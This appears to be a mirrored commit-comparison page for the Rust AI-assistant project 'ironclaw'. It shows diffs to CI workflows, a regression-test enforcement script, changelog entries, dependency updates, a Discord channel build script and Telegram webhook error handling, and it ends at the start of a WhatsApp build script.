mirror of
https://github.com/outbackdingo/optimclaw.git
synced 2026-08-27 16:10:09 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
308758c27c | ||
|
|
f60c91e9a7 | ||
|
|
a22d44f2b2 | ||
|
|
a181c8b384 | ||
|
|
35a79caf87 | ||
|
|
85999b25a8 | ||
|
|
b60e5e907a | ||
|
|
d562dc8d90 | ||
|
|
c239a4fc2a | ||
|
|
944968bf76 | ||
|
|
18b59ae9a7 | ||
|
|
f4855962fc | ||
|
|
f18fb5173b | ||
|
|
78878ad7ef | ||
|
|
5f841554d5 | ||
|
|
6adf95b6d1 | ||
|
|
8530f44630 | ||
|
|
5257fecca1 | ||
|
|
20073ccf57 | ||
|
|
1a26b1e57f | ||
|
|
906d618681 | ||
|
|
4a7339f4ed | ||
|
|
dc7d9cce34 | ||
|
|
a21dba0ac1 | ||
|
|
bb279ad822 | ||
|
|
293a700b69 | ||
|
|
7481aea083 | ||
|
|
fa52df593d | ||
|
|
7b883a02c0 | ||
|
|
3362081192 | ||
|
|
1f2e8c3b72 | ||
|
|
dbf3406bf5 | ||
|
|
2052cddf1d | ||
|
|
ec31e83a7d | ||
|
|
f62937d482 | ||
|
|
914f3cd075 | ||
|
|
e794f39726 | ||
|
|
c6bfd18401 | ||
|
|
b987464f45 | ||
|
|
98467a553e | ||
|
|
8751a5a9bc | ||
|
|
6481448d50 | ||
|
|
afb49597ac | ||
|
|
9b25e7566c | ||
|
|
9ce09f71b0 | ||
|
|
601d73d16b | ||
|
|
a65b282066 | ||
|
|
ddd01a628c | ||
|
|
a89c5f7348 | ||
|
|
c592a8f2de | ||
|
|
a7c0be7f1b | ||
|
|
a24fd3e8a3 | ||
|
|
e8eb4ca0bd | ||
|
|
bf35b59222 |
@@ -62,6 +62,9 @@ create "scope: ci" "546E7A" "CI/CD workflows"
|
||||
create "scope: docs" "78909C" "Documentation"
|
||||
create "scope: dependencies" "90A4AE" "Dependency updates"
|
||||
|
||||
echo "==> Creating workflow labels..."
|
||||
create "skip-regression-check" "9E9E9E" "Acknowledged: fix without regression test"
|
||||
|
||||
echo "==> Creating contributor labels..."
|
||||
create "contributor: new" "FFF9C4" "First-time contributor"
|
||||
create "contributor: regular" "FFE082" "2-5 merged PRs"
|
||||
|
||||
@@ -3,8 +3,8 @@ on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
codestyle:
|
||||
name: Code Style (fmt + clippy)
|
||||
format:
|
||||
name: Formatting
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
@@ -13,10 +13,46 @@ jobs:
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
profile: minimal
|
||||
components: rustfmt, clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
components: rustfmt
|
||||
- name: Check formatting
|
||||
run: |
|
||||
cargo fmt --all -- --check
|
||||
- name: Check lints (cargo clippy)
|
||||
run: cargo clippy -- -D warnings
|
||||
run: cargo fmt --all -- --check
|
||||
|
||||
clippy:
|
||||
name: Clippy (${{ matrix.name }})
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- name: all-features
|
||||
flags: "--all-features"
|
||||
- name: default
|
||||
flags: ""
|
||||
- name: libsql-only
|
||||
flags: "--no-default-features --features libsql"
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
profile: minimal
|
||||
components: clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: clippy-${{ matrix.name }}
|
||||
- name: Check lints
|
||||
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
|
||||
|
||||
# Roll-up job for branch protection
|
||||
code-style:
|
||||
name: Code Style (fmt + clippy)
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
needs: [format, clippy]
|
||||
steps:
|
||||
- run: |
|
||||
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" ]]; then
|
||||
echo "One or more jobs failed"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
name: Code Coverage
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
coverage:
|
||||
name: Coverage
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: llvm-tools-preview
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: coverage
|
||||
- name: Install cargo-llvm-cov
|
||||
uses: taiki-e/install-action@cargo-llvm-cov
|
||||
- name: Generate coverage
|
||||
run: cargo llvm-cov --all-features --workspace --lcov --output-path lcov.info
|
||||
- name: Upload to Codecov
|
||||
uses: codecov/codecov-action@v5
|
||||
with:
|
||||
files: lcov.info
|
||||
disable_search: true
|
||||
use_oidc: true
|
||||
fail_ci_if_error: true
|
||||
@@ -0,0 +1,50 @@
|
||||
name: E2E Tests
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
paths:
|
||||
- "src/channels/web/**"
|
||||
- "tests/e2e/**"
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
name: Browser E2E
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: |
|
||||
target
|
||||
~/.cargo/registry
|
||||
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
|
||||
|
||||
- name: Build ironclaw (libsql)
|
||||
run: cargo build --no-default-features --features libsql
|
||||
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.12"
|
||||
|
||||
- name: Install E2E dependencies
|
||||
run: |
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install --with-deps chromium
|
||||
|
||||
- name: Run E2E tests
|
||||
run: pytest tests/e2e/ -v -x --timeout=120
|
||||
|
||||
- name: Upload screenshots on failure
|
||||
if: failure()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: e2e-screenshots
|
||||
path: tests/e2e/screenshots/
|
||||
if-no-files-found: ignore
|
||||
@@ -0,0 +1,107 @@
|
||||
name: Regression Test Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
regression-test:
|
||||
name: Regression test enforcement
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Check for regression tests
|
||||
env:
|
||||
PR_TITLE: ${{ github.event.pull_request.title }}
|
||||
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
BASE_REF="origin/${{ github.event.pull_request.base.ref }}"
|
||||
|
||||
# --- 1. Is this a fix PR? Check title first, then commit messages ---
|
||||
IS_FIX=false
|
||||
|
||||
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$PR_TITLE"; then
|
||||
IS_FIX=true
|
||||
fi
|
||||
|
||||
if [ "$IS_FIX" = false ]; then
|
||||
COMMITS=$(git log --format='%s' "${BASE_REF}..HEAD")
|
||||
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$COMMITS"; then
|
||||
IS_FIX=true
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$IS_FIX" = false ]; then
|
||||
echo "Not a fix PR — skipping regression test check."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "Fix PR detected."
|
||||
|
||||
# --- 2. Skip label or commit message marker ---
|
||||
if grep -qF ',skip-regression-check,' <<< ",$PR_LABELS,"; then
|
||||
echo "skip-regression-check label present — skipping."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
COMMIT_BODIES=$(git log --format='%B' "${BASE_REF}..HEAD")
|
||||
if grep -qF '[skip-regression-check]' <<< "$COMMIT_BODIES"; then
|
||||
echo "[skip-regression-check] found in commit message — skipping."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 3. Exempt static-only / docs-only changes ---
|
||||
CHANGED_FILES=$(git diff --name-only "${BASE_REF}...HEAD")
|
||||
|
||||
if [ -z "$CHANGED_FILES" ]; then
|
||||
echo "No changed files — skipping."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
ALL_EXEMPT=true
|
||||
while IFS= read -r file; do
|
||||
case "$file" in
|
||||
src/channels/web/static/*) ;;
|
||||
*.md) ;;
|
||||
*) ALL_EXEMPT=false; break ;;
|
||||
esac
|
||||
done <<< "$CHANGED_FILES"
|
||||
|
||||
if [ "$ALL_EXEMPT" = true ]; then
|
||||
echo "All changes are static assets or docs — skipping."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 4. Look for test changes ---
|
||||
|
||||
# Fast path: new test attributes or test modules in added lines.
|
||||
if git diff "${BASE_REF}...HEAD" -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then
|
||||
echo "Test changes found in .rs files."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Whole-function context: detect edits inside existing test functions.
|
||||
if git diff "${BASE_REF}...HEAD" -W -- '*.rs' | awk '
|
||||
/^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 }
|
||||
/^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 }
|
||||
/^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 }
|
||||
/^\+[^+]/ { has_add=1 }
|
||||
END { if (has_test && has_add) found=1; exit !found }
|
||||
'; then
|
||||
echo "Test changes found in existing test functions."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if grep -qE '^tests/' <<< "$CHANGED_FILES"; then
|
||||
echo "Test file changes found under tests/."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 5. No tests found ---
|
||||
echo "::warning::This PR looks like a bug fix but contains no test changes. Every fix should include a regression test. Add a #[test] or #[tokio::test], or apply the 'skip-regression-check' label if not feasible."
|
||||
exit 1
|
||||
@@ -7,7 +7,33 @@ on:
|
||||
|
||||
jobs:
|
||||
tests:
|
||||
name: Run Tests
|
||||
name: Tests (${{ matrix.name }})
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- name: all-features
|
||||
flags: "--all-features"
|
||||
- name: default
|
||||
flags: ""
|
||||
- name: libsql-only
|
||||
flags: "--no-default-features --features libsql"
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
profile: minimal
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: ${{ matrix.name }}
|
||||
- name: Run Tests
|
||||
run: cargo test ${{ matrix.flags }} -- --nocapture
|
||||
|
||||
telegram-tests:
|
||||
name: Telegram Channel Tests
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
@@ -17,7 +43,27 @@ jobs:
|
||||
with:
|
||||
profile: minimal
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Run Tests
|
||||
run: cargo test --all-features -- --nocapture
|
||||
- name: Run Telegram Channel Tests
|
||||
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
|
||||
|
||||
docker-build:
|
||||
name: Docker Build
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Build Docker image
|
||||
run: docker build -t ironclaw-test:ci .
|
||||
|
||||
# Roll-up job for branch protection
|
||||
run-tests:
|
||||
name: Run Tests
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
needs: [tests, telegram-tests, docker-build]
|
||||
steps:
|
||||
- run: |
|
||||
if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" ]]; then
|
||||
echo "One or more jobs failed"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
@@ -7,6 +7,84 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
## [0.14.0](https://github.com/nearai/ironclaw/compare/v0.13.1...v0.14.0) - 2026-03-04
|
||||
|
||||
### Added
|
||||
|
||||
- remove the okta tool ([#506](https://github.com/nearai/ironclaw/pull/506))
|
||||
- add OAuth support for WASM tools in web gateway ([#489](https://github.com/nearai/ironclaw/pull/489))
|
||||
- *(web)* fix jobs UI parity for non-sandbox mode ([#491](https://github.com/nearai/ironclaw/pull/491))
|
||||
- *(workspace)* add TOOLS.md, BOOTSTRAP.md, and disk-to-DB import ([#477](https://github.com/nearai/ironclaw/pull/477))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(web)* mobile browser bar obscures chat input ([#508](https://github.com/nearai/ironclaw/pull/508))
|
||||
- *(web)* assign unique thread_id to manual routine triggers ([#500](https://github.com/nearai/ironclaw/pull/500))
|
||||
- *(web)* refresh routine UI after Run Now trigger ([#501](https://github.com/nearai/ironclaw/pull/501))
|
||||
- *(skills)* use slug for skill download URL from ClawHub ([#502](https://github.com/nearai/ironclaw/pull/502))
|
||||
- *(workspace)* thread document path through search results ([#503](https://github.com/nearai/ironclaw/pull/503))
|
||||
- *(workspace)* import custom templates before seeding defaults ([#505](https://github.com/nearai/ironclaw/pull/505))
|
||||
- use std::sync::RwLock in MessageTool to avoid runtime panic ([#411](https://github.com/nearai/ironclaw/pull/411))
|
||||
- wire secrets store into all WASM runtime activation paths ([#479](https://github.com/nearai/ironclaw/pull/479))
|
||||
|
||||
### Other
|
||||
|
||||
- enforce regression tests for fix commits ([#517](https://github.com/nearai/ironclaw/pull/517))
|
||||
- add code coverage with cargo-llvm-cov and Codecov ([#511](https://github.com/nearai/ironclaw/pull/511))
|
||||
- Remove restart infrastructure, generalize WASM channel setup ([#493](https://github.com/nearai/ironclaw/pull/493))
|
||||
|
||||
## [0.13.1](https://github.com/nearai/ironclaw/compare/v0.13.0...v0.13.1) - 2026-03-02
|
||||
|
||||
### Added
|
||||
|
||||
- add Brave Web Search WASM tool ([#474](https://github.com/nearai/ironclaw/pull/474))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(web)* auto-scroll and Enter key completion for slash command autocomplete ([#475](https://github.com/nearai/ironclaw/pull/475))
|
||||
- correct download URLs for telegram-mtproto and slack-tool extensions ([#470](https://github.com/nearai/ironclaw/pull/470))
|
||||
|
||||
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
|
||||
|
||||
### Added
|
||||
|
||||
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
|
||||
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
|
||||
- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
|
||||
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
|
||||
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
|
||||
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
|
||||
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
|
||||
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
|
||||
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
|
||||
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
|
||||
- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
|
||||
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
|
||||
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
|
||||
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
|
||||
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
|
||||
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
|
||||
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
|
||||
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
|
||||
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
|
||||
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
|
||||
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
|
||||
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
|
||||
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
|
||||
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
|
||||
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
|
||||
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
|
||||
|
||||
### Other
|
||||
|
||||
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
|
||||
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
|
||||
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
|
||||
|
||||
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
|
||||
|
||||
### Added
|
||||
|
||||
@@ -321,6 +321,8 @@ cargo check --all-features # all features
|
||||
```
|
||||
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
|
||||
|
||||
**Regression test with every fix:** Every bug fix must include a test that would have caught the bug. Add a `#[test]` or `#[tokio::test]` that reproduces the original failure. Exempt: changes limited to `src/channels/web/static/` or `.md` files. Use `[skip-regression-check]` in commit message or PR label if genuinely not feasible. The `commit-msg` hook and CI workflow enforce this automatically.
|
||||
|
||||
**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate.
|
||||
|
||||
**Mechanical verification before committing:** Run these checks on changed files before committing:
|
||||
@@ -328,6 +330,7 @@ Dead code behind the wrong `#[cfg]` gate will only show up when building with a
|
||||
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
|
||||
- `grep -rn 'super::' <files>` -- use `crate::` imports
|
||||
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
|
||||
- Fix commits must include regression tests (enforced by `commit-msg` hook; bypass with `[skip-regression-check]`)
|
||||
|
||||
## Configuration
|
||||
|
||||
|
||||
Generated
+369
-144
File diff suppressed because it is too large
Load Diff
+10
-2
@@ -12,14 +12,13 @@ exclude = [
|
||||
"tools-src/google-drive",
|
||||
"tools-src/google-sheets",
|
||||
"tools-src/google-slides",
|
||||
"tools-src/okta",
|
||||
"tools-src/slack",
|
||||
"tools-src/telegram",
|
||||
]
|
||||
|
||||
[package]
|
||||
name = "ironclaw"
|
||||
version = "0.12.0"
|
||||
version = "0.14.0"
|
||||
edition = "2024"
|
||||
rust-version = "1.92"
|
||||
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
|
||||
@@ -52,6 +51,9 @@ deadpool-postgres = { version = "0.14", optional = true }
|
||||
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
|
||||
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
|
||||
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
|
||||
tokio-postgres-rustls = { version = "0.13", optional = true }
|
||||
rustls = { version = "0.23", optional = true, default-features = false }
|
||||
rustls-native-certs = { version = "0.8", optional = true }
|
||||
|
||||
# Database - libSQL/Turso (optional embedded database)
|
||||
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
|
||||
@@ -154,6 +156,8 @@ lru = "0.16.3"
|
||||
# HTML to Markdown conversion (feature gated)
|
||||
html-to-markdown-rs = { version = "2.3", optional = true }
|
||||
readabilityrs = { version = "0.1.2", optional = true }
|
||||
ed25519-dalek = { version = "2.2.0", features = ["std"] }
|
||||
hex = "0.4.3"
|
||||
|
||||
# macOS keychain
|
||||
[target.'cfg(target_os = "macos")'.dependencies]
|
||||
@@ -170,12 +174,16 @@ tokio-tungstenite = "0.26"
|
||||
testcontainers-modules = { version = "0.11", features = ["postgres"] }
|
||||
pretty_assertions = "1"
|
||||
tempfile = "3"
|
||||
insta = "1.46.3"
|
||||
|
||||
[features]
|
||||
default = ["postgres", "libsql", "html-to-markdown"]
|
||||
postgres = [
|
||||
"dep:deadpool-postgres",
|
||||
"dep:tokio-postgres",
|
||||
"dep:tokio-postgres-rustls",
|
||||
"dep:rustls",
|
||||
"dep:rustls-native-certs",
|
||||
"dep:postgres-types",
|
||||
"dep:refinery",
|
||||
"dep:pgvector",
|
||||
|
||||
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build the Discord channel WASM component
|
||||
#
|
||||
# Prerequisites:
|
||||
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
|
||||
# - wasm-tools for component creation: cargo install wasm-tools
|
||||
#
|
||||
# Output:
|
||||
# - discord.wasm - WASM component ready for deployment
|
||||
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
if ! command -v wasm-tools &> /dev/null; then
|
||||
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Building Discord channel WASM component..."
|
||||
|
||||
# Build the WASM module
|
||||
cargo build --release --target wasm32-wasip2
|
||||
|
||||
# Convert to component model (if not already a component)
|
||||
# wasm-tools component new is idempotent on components
|
||||
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
|
||||
|
||||
if [ -f "$WASM_PATH" ]; then
|
||||
# Create component if needed
|
||||
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
|
||||
|
||||
# Optimize the component
|
||||
wasm-tools strip discord.wasm -o discord.wasm
|
||||
|
||||
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
|
||||
echo ""
|
||||
echo "To install:"
|
||||
echo " mkdir -p ~/.ironclaw/channels"
|
||||
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
|
||||
echo ""
|
||||
echo "Then add your bot token to secrets:"
|
||||
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
|
||||
else
|
||||
echo "Error: WASM output not found at $WASM_PATH"
|
||||
exit 1
|
||||
fi
|
||||
@@ -8,6 +8,11 @@
|
||||
"name": "discord_bot_token",
|
||||
"prompt": "Enter your Discord Bot Token (from Developer Portal)",
|
||||
"optional": false
|
||||
},
|
||||
{
|
||||
"name": "discord_public_key",
|
||||
"prompt": "Enter your Discord Application Public Key (from Developer Portal > General Information)",
|
||||
"optional": false
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -39,6 +44,9 @@
|
||||
"emit_rate_limit": {
|
||||
"messages_per_minute": 100,
|
||||
"messages_per_hour": 5000
|
||||
},
|
||||
"webhook": {
|
||||
"signature_key_secret_name": "discord_public_key"
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
@@ -373,19 +373,19 @@ impl Guest for TelegramChannel {
|
||||
"Webhook mode enabled (tunnel configured)",
|
||||
);
|
||||
|
||||
// Register webhook with Telegram API
|
||||
// Register webhook with Telegram API — propagate errors so a bad token
|
||||
// causes activation to fail rather than silently succeeding.
|
||||
if let Some(ref tunnel_url) = config.tunnel_url {
|
||||
// Clear any stale webhook first to avoid 409 Conflict
|
||||
let _ = delete_webhook();
|
||||
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!("Registering webhook: {}/webhook/telegram", tunnel_url),
|
||||
);
|
||||
|
||||
if let Err(e) = register_webhook(tunnel_url, config.webhook_secret.as_deref()) {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Failed to register webhook: {}", e),
|
||||
);
|
||||
}
|
||||
register_webhook(tunnel_url, config.webhook_secret.as_deref())
|
||||
.map_err(|e| format!("Failed to register webhook: {}", e))?;
|
||||
}
|
||||
} else {
|
||||
channel_host::log(
|
||||
@@ -393,14 +393,10 @@ impl Guest for TelegramChannel {
|
||||
"Polling mode enabled (no tunnel configured)",
|
||||
);
|
||||
|
||||
// Delete any existing webhook before polling
|
||||
// Telegram doesn't allow getUpdates while a webhook is active
|
||||
if let Err(e) = delete_webhook() {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Warn,
|
||||
&format!("Failed to delete webhook (may not exist): {}", e),
|
||||
);
|
||||
}
|
||||
// Delete any existing webhook before polling. Telegram returns success
|
||||
// when no webhook exists, so any error here (e.g. 401) means a bad token.
|
||||
delete_webhook()
|
||||
.map_err(|e| format!("Bot token validation failed: {}", e))?;
|
||||
}
|
||||
|
||||
// Configure polling only if not in webhook mode
|
||||
@@ -901,36 +897,61 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
|
||||
None,
|
||||
);
|
||||
|
||||
match result {
|
||||
Ok(response) => {
|
||||
if response.status != 200 {
|
||||
let body_str = String::from_utf8_lossy(&response.body);
|
||||
return Err(format!("HTTP {}: {}", response.status, body_str));
|
||||
}
|
||||
let mut response = match result {
|
||||
Ok(response) => response,
|
||||
Err(e) => return Err(format!("HTTP request failed: {}", e)),
|
||||
};
|
||||
|
||||
// Parse Telegram API response
|
||||
let api_response: TelegramApiResponse<serde_json::Value> =
|
||||
serde_json::from_slice(&response.body)
|
||||
.map_err(|e| format!("Failed to parse response: {}", e))?;
|
||||
let mut retried = false;
|
||||
if response.status == 409 {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Warn,
|
||||
"409 Conflict -- deleting existing webhook and retrying",
|
||||
);
|
||||
let _ = delete_webhook();
|
||||
retried = true;
|
||||
|
||||
if !api_response.ok {
|
||||
return Err(format!(
|
||||
"Telegram API error: {}",
|
||||
api_response
|
||||
.description
|
||||
.unwrap_or_else(|| "unknown".to_string())
|
||||
));
|
||||
}
|
||||
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!("Webhook registered successfully: {}", webhook_url),
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Err(e) => Err(format!("HTTP request failed: {}", e)),
|
||||
response = match channel_host::http_request(
|
||||
"POST",
|
||||
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/setWebhook",
|
||||
&headers.to_string(),
|
||||
Some(&body_bytes),
|
||||
None,
|
||||
) {
|
||||
Ok(resp) => resp,
|
||||
Err(e) => return Err(format!("HTTP request failed (after 409 retry): {}", e)),
|
||||
};
|
||||
}
|
||||
|
||||
if response.status != 200 {
|
||||
let body_str = String::from_utf8_lossy(&response.body);
|
||||
let context = if retried { " (after 409 retry)" } else { "" };
|
||||
return Err(format!("HTTP {}{}: {}", response.status, context, body_str));
|
||||
}
|
||||
|
||||
// Parse Telegram API response
|
||||
let api_response: TelegramApiResponse<serde_json::Value> =
|
||||
serde_json::from_slice(&response.body)
|
||||
.map_err(|e| format!("Failed to parse response: {}", e))?;
|
||||
|
||||
if !api_response.ok {
|
||||
let context = if retried { " (after 409 retry)" } else { "" };
|
||||
return Err(format!(
|
||||
"Telegram API error{}: {}",
|
||||
context,
|
||||
api_response
|
||||
.description
|
||||
.unwrap_or_else(|| "unknown".to_string())
|
||||
));
|
||||
}
|
||||
|
||||
let context = if retried { " (after retry)" } else { "" };
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!("Webhook registered successfully{}: {}", context, webhook_url),
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
|
||||
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build the WhatsApp channel WASM component
|
||||
